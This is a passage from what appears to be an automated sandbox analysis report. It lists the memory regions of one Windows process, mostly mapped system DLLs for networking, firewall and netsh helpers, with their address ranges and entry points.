end_va = 0x241ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 693 start_va = 0x7fef6530000 end_va = 0x7fef6538fff monitored = 0 entry_point = 0x7fef65337e8 region_type = mapped_file name = "wshelper.dll" filename = "\\Windows\\System32\\wshelper.dll" (normalized: "c:\\windows\\system32\\wshelper.dll") Region: id = 778 start_va = 0x74d90000 end_va = 0x74d92fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ws2help.dll" filename = "\\Windows\\System32\\ws2help.dll" (normalized: "c:\\windows\\system32\\ws2help.dll") Region: id = 779 start_va = 0x7fefca60000 end_va = 0x7fefcab4fff monitored = 0 entry_point = 0x7fefca61054 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 780 start_va = 0x2420000 end_va = 0x26eefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 782 start_va = 0x7fef63c0000 end_va = 0x7fef63ccfff monitored = 0 entry_point = 0x7fef63c6a54 region_type = mapped_file name = "nshhttp.dll" filename = "\\Windows\\System32\\nshhttp.dll" (normalized: "c:\\windows\\system32\\nshhttp.dll") Region: id = 784 start_va = 0x7fef4410000 end_va = 0x7fef441dfff monitored = 0 entry_point = 0x7fef44111a8 region_type = mapped_file name = "httpapi.dll" filename = "\\Windows\\System32\\httpapi.dll" (normalized: "c:\\windows\\system32\\httpapi.dll") Region: id = 785 start_va = 0x7fef43f0000 end_va = 0x7fef440efff monitored = 0 entry_point = 0x7fef4408474 region_type = mapped_file name = "fwcfg.dll" filename = "\\Windows\\System32\\fwcfg.dll" (normalized: "c:\\windows\\system32\\fwcfg.dll") Region: id = 786 start_va = 0x7fefc3a0000 end_va = 0x7fefc45afff monitored = 0 entry_point = 0x7fefc3a6de0 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 787 start_va = 0x7fefc390000 end_va = 0x7fefc39bfff monitored = 0 entry_point = 0x7fefc391064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 852 start_va = 0x7fef2d30000 end_va = 0x7fef2daafff monitored = 0 entry_point = 0x7fef2d8b9b4 region_type = mapped_file name = "authfwcfg.dll" filename = "\\Windows\\System32\\authfwcfg.dll" (normalized: "c:\\windows\\system32\\authfwcfg.dll") Region: id = 853 start_va = 0x7fefcc30000 end_va = 0x7fefcc51fff monitored = 0 entry_point = 0x7fefcc35d30 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 854 start_va = 0x7fef34a0000 end_va = 0x7fef34bdfff monitored = 0 entry_point = 0x7fef34a112c region_type = mapped_file name = "winipsec.dll" filename = "\\Windows\\System32\\winipsec.dll" (normalized: "c:\\windows\\system32\\winipsec.dll") Region: id = 855 start_va = 0x7fef3470000 end_va = 0x7fef3479fff monitored = 0 entry_point = 0x7fef3474504 region_type = mapped_file name = "ifmon.dll" filename = "\\Windows\\System32\\ifmon.dll" (normalized: "c:\\windows\\system32\\ifmon.dll") Region: id = 856 start_va = 0x7feff3b0000 end_va = 0x7feff586fff monitored = 0 entry_point = 0x7feff3b1010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 857 start_va = 0x7fefd540000 end_va = 0x7fefd575fff monitored = 0 entry_point = 0x7fefd541474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 858 start_va = 0x7fefd580000 end_va = 0x7fefd599fff monitored = 0 entry_point = 0x7fefd581558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 859 start_va = 0x7fef9400000 end_va = 0x7fef9419fff monitored = 0 entry_point = 0x7fef9413fbc region_type = mapped_file name = "nci.dll" filename = "\\Windows\\System32\\nci.dll" (normalized: "c:\\windows\\system32\\nci.dll") Region: id = 860 start_va = 0x7fefc590000 end_va = 0x7fefc5a1fff monitored = 0 entry_point = 0x7fefc591060 region_type = mapped_file name = "devrtl.dll" filename = "\\Windows\\System32\\devrtl.dll" (normalized: "c:\\windows\\system32\\devrtl.dll") Region: id = 861 start_va = 0x230000 end_va = 0x23cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\System32\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\setupapi.dll.mui") Region: id = 862 start_va = 0x7fef33a0000 end_va = 0x7fef33d6fff monitored = 0 entry_point = 0x7fef33ca9a4 region_type = mapped_file name = "netiohlp.dll" filename = "\\Windows\\System32\\netiohlp.dll" (normalized: "c:\\windows\\system32\\netiohlp.dll") Region: id = 863 start_va = 0x7fefc8e0000 end_va = 0x7fefc93afff monitored = 0 entry_point = 0x7fefc8e6940 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 864 start_va = 0x26f0000 end_va = 0x28affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000026f0000" filename = "" Region: id = 865 start_va = 0x7fef3460000 end_va = 0x7fef3468fff monitored = 0 entry_point = 0x7fef3463730 region_type = mapped_file name = "whhelper.dll" filename = "\\Windows\\System32\\whhelper.dll" (normalized: "c:\\windows\\system32\\whhelper.dll") Region: id = 866 start_va = 0x7fef9bc0000 end_va = 0x7fef9c30fff monitored = 0 entry_point = 0x7fef9bc1010 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 867 start_va = 0x7fef9b50000 end_va = 0x7fef9bb3fff monitored = 0 entry_point = 0x7fef9b51254 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 868 start_va = 0x7fef3450000 end_va = 0x7fef3457fff monitored = 0 entry_point = 0x7fef3452884 region_type = mapped_file name = "hnetmon.dll" filename = "\\Windows\\System32\\hnetmon.dll" (normalized: "c:\\windows\\system32\\hnetmon.dll") Region: id = 869 start_va = 0x7fef60b0000 end_va = 0x7fef633afff monitored = 0 entry_point = 0x7fef60b6f5c region_type = mapped_file name = "netshell.dll" filename = "\\Windows\\System32\\netshell.dll" (normalized: "c:\\windows\\system32\\netshell.dll") Region: id = 870 start_va = 0x7fefde20000 end_va = 0x7fefeba7fff monitored = 0 entry_point = 0x7fefde9cebc region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 871 start_va = 0x7fefae40000 end_va = 0x7fefae54fff monitored = 0 entry_point = 0x7fefae460d8 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 872 start_va = 0x240000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 873 start_va = 0x3c0000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 874 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 875 start_va = 0x7fef3390000 end_va = 0x7fef339cfff monitored = 0 entry_point = 0x7fef339602c region_type = mapped_file name = "rpcnsh.dll" filename = "\\Windows\\System32\\rpcnsh.dll" (normalized: "c:\\windows\\system32\\rpcnsh.dll") Region: id = 876 start_va = 0x7fef2d10000 end_va = 0x7fef2d24fff monitored = 0 entry_point = 0x7fef2d1e360 region_type = mapped_file name = "dot3cfg.dll" filename = "\\Windows\\System32\\dot3cfg.dll" (normalized: "c:\\windows\\system32\\dot3cfg.dll") Region: id = 877 start_va = 0x7fef2cf0000 end_va = 0x7fef2d07fff monitored = 0 entry_point = 0x7fef2cf1010 region_type = mapped_file name = "dot3api.dll" filename = "\\Windows\\System32\\dot3api.dll" (normalized: "c:\\windows\\system32\\dot3api.dll") Region: id = 878 start_va = 0x7fefada0000 end_va = 0x7fefadb8fff monitored = 0 entry_point = 0x7fefada11a8 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 879 start_va = 0x7fef2ca0000 end_va = 0x7fef2ce3fff monitored = 0 entry_point = 0x7fef2cca9fc region_type = mapped_file name = "eappcfg.dll" filename = "\\Windows\\System32\\eappcfg.dll" (normalized: "c:\\windows\\system32\\eappcfg.dll") Region: id = 880 start_va = 0x7fef2c60000 end_va = 0x7fef2c9ffff monitored = 0 entry_point = 0x7fef2c61010 region_type = mapped_file name = "onex.dll" filename = "\\Windows\\System32\\onex.dll" (normalized: "c:\\windows\\system32\\onex.dll") Region: id = 881 start_va = 0x7fef2c40000 end_va = 0x7fef2c53fff monitored = 0 entry_point = 0x7fef2c4ab40 region_type = mapped_file name = "eappprxy.dll" filename = "\\Windows\\System32\\eappprxy.dll" (normalized: "c:\\windows\\system32\\eappprxy.dll") Region: id = 882 start_va = 0x2280000 end_va = 0x237ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 883 start_va = 0x23a0000 end_va = 0x241ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 884 start_va = 0x3c0000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 885 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 886 start_va = 0x7fef2c00000 end_va = 0x7fef2c36fff monitored = 0 entry_point = 0x7fef2c26eac region_type = mapped_file name = "napmontr.dll" filename = "\\Windows\\System32\\NAPMONTR.DLL" (normalized: "c:\\windows\\system32\\napmontr.dll") Region: id = 887 start_va = 0x7fef2b80000 end_va = 0x7fef2bf3fff monitored = 1 entry_point = 0x7fef2b81b0c region_type = mapped_file name = "certcli.dll" filename = "\\Windows\\System32\\certcli.dll" (normalized: "c:\\windows\\system32\\certcli.dll") Region: id = 888 start_va = 0x7fefd6d0000 end_va = 0x7fefd721fff monitored = 0 entry_point = 0x7fefd6d10d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 889 start_va = 0x7fef2b00000 end_va = 0x7fef2b74fff monitored = 0 entry_point = 0x7fef2b645a0 region_type = mapped_file name = "nshipsec.dll" filename = "\\Windows\\System32\\nshipsec.dll" (normalized: "c:\\windows\\system32\\nshipsec.dll") Region: id = 890 start_va = 0x7fefb420000 end_va = 0x7fefb435fff monitored = 0 entry_point = 0x7fefb4211a0 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 891 start_va = 0x7fefb410000 end_va = 0x7fefb41bfff monitored = 0 entry_point = 0x7fefb4118a4 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 892 start_va = 0x7fefcfc0000 end_va = 0x7fefcfe2fff monitored = 0 entry_point = 0x7fefcfc1198 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 893 start_va = 0x7fefb3f0000 end_va = 0x7fefb404fff monitored = 0 entry_point = 0x7fefb3f1050 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 894 start_va = 0x7fefc8b0000 end_va = 0x7fefc8dffff monitored = 0 entry_point = 0x7fefc8b194c region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 895 start_va = 0x7fefc570000 end_va = 0x7fefc58dfff monitored = 0 entry_point = 0x7fefc5713b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 896 start_va = 0x7fefd1d0000 end_va = 0x7fefd1defff monitored = 0 entry_point = 0x7fefd1d19b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 897 start_va = 0x7fef2ab0000 end_va = 0x7fef2af5fff monitored = 0 entry_point = 0x7fef2ab1308 region_type = mapped_file name = "activeds.dll" filename = "\\Windows\\System32\\activeds.dll" (normalized: "c:\\windows\\system32\\activeds.dll") Region: id = 930 start_va = 0x7fef2a70000 end_va = 0x7fef2aacfff monitored = 0 entry_point = 0x7fef2a7107c region_type = mapped_file name = "adsldpc.dll" filename = "\\Windows\\System32\\adsldpc.dll" (normalized: "c:\\windows\\system32\\adsldpc.dll") Region: id = 1040 start_va = 0x7fef2760000 end_va = 0x7fef27bdfff monitored = 0 entry_point = 0x7fef2761130 region_type = mapped_file name = "polstore.dll" filename = "\\Windows\\System32\\polstore.dll" (normalized: "c:\\windows\\system32\\polstore.dll") Region: id = 1097 start_va = 0x250000 end_va = 0x250fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000250000" filename = "" Region: id = 1148 start_va = 0x2920000 end_va = 0x2a1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002920000" filename = "" Region: id = 1149 start_va = 0x7fef26b0000 end_va = 0x7fef275cfff monitored = 0 entry_point = 0x7fef271e27c region_type = mapped_file name = "nettrace.dll" filename = "\\Windows\\System32\\nettrace.dll" (normalized: "c:\\windows\\system32\\nettrace.dll") Region: id = 1150 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 1151 start_va = 0x7fef29f0000 end_va = 0x7fef2a2cfff monitored = 0 entry_point = 0x7fef2a0a91c region_type = mapped_file name = "ndfapi.dll" filename = "\\Windows\\System32\\ndfapi.dll" (normalized: "c:\\windows\\system32\\ndfapi.dll") Region: id = 1152 start_va = 0x260000 end_va = 0x261fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 1153 start_va = 0x7fef9cd0000 end_va = 0x7fef9ce8fff monitored = 0 entry_point = 0x7fef9cd2b50 region_type = mapped_file name = "wdi.dll" filename = "\\Windows\\System32\\wdi.dll" (normalized: "c:\\windows\\system32\\wdi.dll") Region: id = 1154 start_va = 0x7fefd060000 end_va = 0x7fefd06afff monitored = 0 entry_point = 0x7fefd061030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 1155 start_va = 0x7fefd090000 end_va = 0x7fefd0b4fff monitored = 0 entry_point = 0x7fefd099658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1156 start_va = 0x7fef2350000 end_va = 0x7fef2422fff monitored = 0 entry_point = 0x7fef2351f1c region_type = mapped_file name = "tdh.dll" filename = "\\Windows\\System32\\tdh.dll" (normalized: "c:\\windows\\system32\\tdh.dll") Region: id = 1240 start_va = 0x270000 end_va = 0x273fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 1322 start_va = 0x7fef2a60000 end_va = 0x7fef2a6bfff monitored = 0 entry_point = 0x7fef2a66320 region_type = mapped_file name = "wcnnetsh.dll" filename = "\\Windows\\System32\\WcnNetsh.dll" (normalized: "c:\\windows\\system32\\wcnnetsh.dll") Region: id = 1323 start_va = 0x7fef5c20000 end_va = 0x7fef5c3ffff monitored = 0 entry_point = 0x7fef5c21010 region_type = mapped_file name = "wlanapi.dll" filename = "\\Windows\\System32\\wlanapi.dll" (normalized: "c:\\windows\\system32\\wlanapi.dll") Region: id = 1324 start_va = 0x7fefabd0000 end_va = 0x7fefabd6fff monitored = 0 entry_point = 0x7fefabd1b24 region_type = mapped_file name = "wlanutil.dll" filename = "\\Windows\\System32\\wlanutil.dll" (normalized: "c:\\windows\\system32\\wlanutil.dll") Region: id = 1374 start_va = 0x7fef2570000 end_va = 0x7fef259afff monitored = 0 entry_point = 0x7fef2590afc region_type = mapped_file name = "p2pnetsh.dll" filename = "\\Windows\\System32\\p2pnetsh.dll" (normalized: "c:\\windows\\system32\\p2pnetsh.dll") Region: id = 1481 start_va = 0x7fef2520000 end_va = 0x7fef2563fff monitored = 0 entry_point = 0x7fef255723c region_type = mapped_file name = "p2p.dll" filename = "\\Windows\\System32\\P2P.dll" (normalized: "c:\\windows\\system32\\p2p.dll") Region: id = 1482 start_va = 0x280000 end_va = 0x281fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 1483 start_va = 0x7fef22b0000 end_va = 0x7fef2340fff monitored = 0 entry_point = 0x7fef231c338 region_type = mapped_file name = "p2pcollab.dll" filename = "\\Windows\\System32\\p2pcollab.dll" (normalized: "c:\\windows\\system32\\p2pcollab.dll") Region: id = 1537 start_va = 0x8b0000 end_va = 0x90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 1538 start_va = 0x950000 end_va = 0x9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000950000" filename = "" Region: id = 1592 start_va = 0x7fef2510000 end_va = 0x7fef251ffff monitored = 0 entry_point = 0x7fef251994c region_type = mapped_file name = "wwancfg.dll" filename = "\\Windows\\System32\\wwancfg.dll" (normalized: "c:\\windows\\system32\\wwancfg.dll") Region: id = 1593 start_va = 0x7fef5bb0000 end_va = 0x7fef5bbcfff monitored = 0 entry_point = 0x7fef5bb7104 region_type = mapped_file name = "wwapi.dll" filename = "\\Windows\\System32\\wwapi.dll" (normalized: "c:\\windows\\system32\\wwapi.dll") Region: id = 1594 start_va = 0x7fef2280000 end_va = 0x7fef22acfff monitored = 0 entry_point = 0x7fef22a2968 region_type = mapped_file name = "wlancfg.dll" filename = "\\Windows\\System32\\wlancfg.dll" (normalized: "c:\\windows\\system32\\wlancfg.dll") Region: id = 1595 start_va = 0x7fef2250000 end_va = 0x7fef2270fff monitored = 0 entry_point = 0x7fef2267b9c region_type = mapped_file name = "wlanhlp.dll" filename = "\\Windows\\System32\\wlanhlp.dll" (normalized: "c:\\windows\\system32\\wlanhlp.dll") Region: id = 1596 start_va = 0x7fef1940000 end_va = 0x7fef19f7fff monitored = 0 entry_point = 0x7fef19e7638 region_type = mapped_file name = "peerdistsh.dll" filename = "\\Windows\\System32\\PeerDistSh.dll" (normalized: "c:\\windows\\system32\\peerdistsh.dll") Region: id = 1703 start_va = 0x1e00000 end_va = 0x1e7cfff monitored = 0 entry_point = 0x1e0cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 1704 start_va = 0x1e90000 end_va = 0x1f0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e90000" filename = "" Region: id = 1705 start_va = 0x1e00000 end_va = 0x1e7cfff monitored = 0 entry_point = 0x1e0cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 1706 start_va = 0x7fefd0c0000 end_va = 0x7fefd0cefff monitored = 0 entry_point = 0x7fefd0c1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1707 start_va = 0x7fefbb20000 end_va = 0x7fefbb75fff monitored = 0 entry_point = 0x7fefbb2bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1708 start_va = 0x2a20000 end_va = 0x2baffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a20000" filename = "" Region: id = 1791 start_va = 0x2110000 end_va = 0x21eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002110000" filename = "" Region: id = 1792 start_va = 0x2200000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 1793 start_va = 0x290000 end_va = 0x2a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwcfg.dll.mui" filename = "\\Windows\\System32\\en-US\\fwcfg.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwcfg.dll.mui") Region: id = 1794 start_va = 0x26f0000 end_va = 0x27dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000026f0000" filename = "" Region: id = 1795 start_va = 0x2830000 end_va = 0x28affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002830000" filename = "" Region: id = 1820 start_va = 0x7fefcac0000 end_va = 0x7fefcad7fff monitored = 0 entry_point = 0x7fefcac3b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1821 start_va = 0x2b0000 end_va = 0x2b9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "crypt32.dll.mui" filename = "\\Windows\\System32\\en-US\\crypt32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\crypt32.dll.mui") Region: id = 1822 start_va = 0x450000 end_va = 0x450fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1823 start_va = 0x7feff140000 end_va = 0x7feff1d8fff monitored = 0 entry_point = 0x7feff141c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1824 start_va = 0x460000 end_va = 0x460fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 1825 start_va = 0x7fef5b60000 end_va = 0x7fef5ba4fff monitored = 0 entry_point = 0x7fef5b64190 region_type = mapped_file name = "qagent.dll" filename = "\\Windows\\System32\\QAGENT.DLL" (normalized: "c:\\windows\\system32\\qagent.dll") Region: id = 1826 start_va = 0x2bb0000 end_va = 0x2ceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002bb0000" filename = "" Region: id = 1885 start_va = 0x470000 end_va = 0x471fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "dhcpqec.dll.mui" filename = "\\Windows\\System32\\en-US\\DHCPQEC.DLL.MUI" (normalized: "c:\\windows\\system32\\en-us\\dhcpqec.dll.mui") Region: id = 1934 start_va = 0x7fef2500000 end_va = 0x7fef250efff monitored = 0 entry_point = 0x7fef2507858 region_type = mapped_file name = "napipsec.dll" filename = "\\Windows\\System32\\napipsec.dll" (normalized: "c:\\windows\\system32\\napipsec.dll") Region: id = 1935 start_va = 0x8b0000 end_va = 0x8b0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "napipsec.dll.mui" filename = "\\Windows\\System32\\en-US\\napipsec.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\napipsec.dll.mui") Region: id = 1936 start_va = 0x8f0000 end_va = 0x90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008f0000" filename = "" Region: id = 1937 start_va = 0x7fef2240000 end_va = 0x7fef224efff monitored = 0 entry_point = 0x7fef2247858 region_type = mapped_file name = "napipsec.dll" filename = "\\Windows\\System32\\napipsec.dll" (normalized: "c:\\windows\\system32\\napipsec.dll") Region: id = 1938 start_va = 0x8b0000 end_va = 0x8b0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "napipsec.dll.mui" filename = "\\Windows\\System32\\en-US\\napipsec.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\napipsec.dll.mui") Region: id = 1939 start_va = 0x7fef2500000 end_va = 0x7fef250efff monitored = 0 entry_point = 0x7fef2507858 region_type = mapped_file name = "napipsec.dll" filename = "\\Windows\\System32\\napipsec.dll" (normalized: "c:\\windows\\system32\\napipsec.dll") Region: id = 1940 start_va = 0x8b0000 end_va = 0x8b0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "napipsec.dll.mui" filename = "\\Windows\\System32\\en-US\\napipsec.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\napipsec.dll.mui") Region: id = 1941 start_va = 0x7fef2240000 end_va = 0x7fef224efff monitored = 0 entry_point = 0x7fef2247858 region_type = mapped_file name = "napipsec.dll" filename = "\\Windows\\System32\\napipsec.dll" (normalized: "c:\\windows\\system32\\napipsec.dll") Region: id = 1942 start_va = 0x8b0000 end_va = 0x8b0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "napipsec.dll.mui" filename = "\\Windows\\System32\\en-US\\napipsec.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\napipsec.dll.mui") Region: id = 1943 start_va = 0x7fef2500000 end_va = 0x7fef250efff monitored = 0 entry_point = 0x7fef2501020 region_type = mapped_file name = "tsgqec.dll" filename = "\\Windows\\System32\\tsgqec.dll" (normalized: "c:\\windows\\system32\\tsgqec.dll") Region: id = 2031 start_va = 0x8b0000 end_va = 0x8b0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tsgqec.dll.mui" filename = "\\Windows\\System32\\en-US\\tsgqec.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\tsgqec.dll.mui") Region: id = 2032 start_va = 0x7fefa690000 end_va = 0x7fefa69efff monitored = 0 entry_point = 0x7fefa691020 region_type = mapped_file name = "tsgqec.dll" filename = "\\Windows\\System32\\tsgqec.dll" (normalized: "c:\\windows\\system32\\tsgqec.dll") Region: id = 2033 start_va = 0x8b0000 end_va = 0x8b0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tsgqec.dll.mui" filename = "\\Windows\\System32\\en-US\\tsgqec.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\tsgqec.dll.mui") Region: id = 2034 start_va = 0x7fef2500000 end_va = 0x7fef250efff monitored = 0 entry_point = 0x7fef2501020 region_type = mapped_file name = "tsgqec.dll" filename = "\\Windows\\System32\\tsgqec.dll" (normalized: "c:\\windows\\system32\\tsgqec.dll") Region: id = 2035 start_va = 0x8b0000 end_va = 0x8b0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tsgqec.dll.mui" filename = "\\Windows\\System32\\en-US\\tsgqec.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\tsgqec.dll.mui") Region: id = 2036 start_va = 0x7fefa690000 end_va = 0x7fefa69efff monitored = 0 entry_point = 0x7fefa691020 region_type = mapped_file name = "tsgqec.dll" filename = "\\Windows\\System32\\tsgqec.dll" (normalized: "c:\\windows\\system32\\tsgqec.dll") Region: id = 2037 start_va = 0x8b0000 end_va = 0x8b0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tsgqec.dll.mui" filename = "\\Windows\\System32\\en-US\\tsgqec.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\tsgqec.dll.mui") Region: id = 2038 start_va = 0x7fef2090000 end_va = 0x7fef20a9fff monitored = 0 entry_point = 0x7fef209f5bc region_type = mapped_file name = "eapqec.dll" filename = "\\Windows\\System32\\EAPQEC.DLL" (normalized: "c:\\windows\\system32\\eapqec.dll") Region: id = 2058 start_va = 0x8b0000 end_va = 0x8b0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "eapqec.dll.mui" filename = "\\Windows\\System32\\en-US\\EAPQEC.DLL.MUI" (normalized: "c:\\windows\\system32\\en-us\\eapqec.dll.mui") Region: id = 2059 start_va = 0x7fef2070000 end_va = 0x7fef2089fff monitored = 0 entry_point = 0x7fef207f5bc region_type = mapped_file name = "eapqec.dll" filename = "\\Windows\\System32\\EAPQEC.DLL" (normalized: "c:\\windows\\system32\\eapqec.dll") Region: id = 2060 start_va = 0x8b0000 end_va = 0x8b0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "eapqec.dll.mui" filename = "\\Windows\\System32\\en-US\\EAPQEC.DLL.MUI" (normalized: "c:\\windows\\system32\\en-us\\eapqec.dll.mui") Region: id = 2061 start_va = 0x7fef2090000 end_va = 0x7fef20a9fff monitored = 0 entry_point = 0x7fef209f5bc region_type = mapped_file name = "eapqec.dll" filename = "\\Windows\\System32\\EAPQEC.DLL" (normalized: "c:\\windows\\system32\\eapqec.dll") Region: id = 2062 start_va = 0x8b0000 end_va = 0x8b0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "eapqec.dll.mui" filename = "\\Windows\\System32\\en-US\\EAPQEC.DLL.MUI" (normalized: "c:\\windows\\system32\\en-us\\eapqec.dll.mui") Region: id = 2063 start_va = 0x7fef2070000 end_va = 0x7fef2089fff monitored = 0 entry_point = 0x7fef207f5bc region_type = mapped_file name = "eapqec.dll" 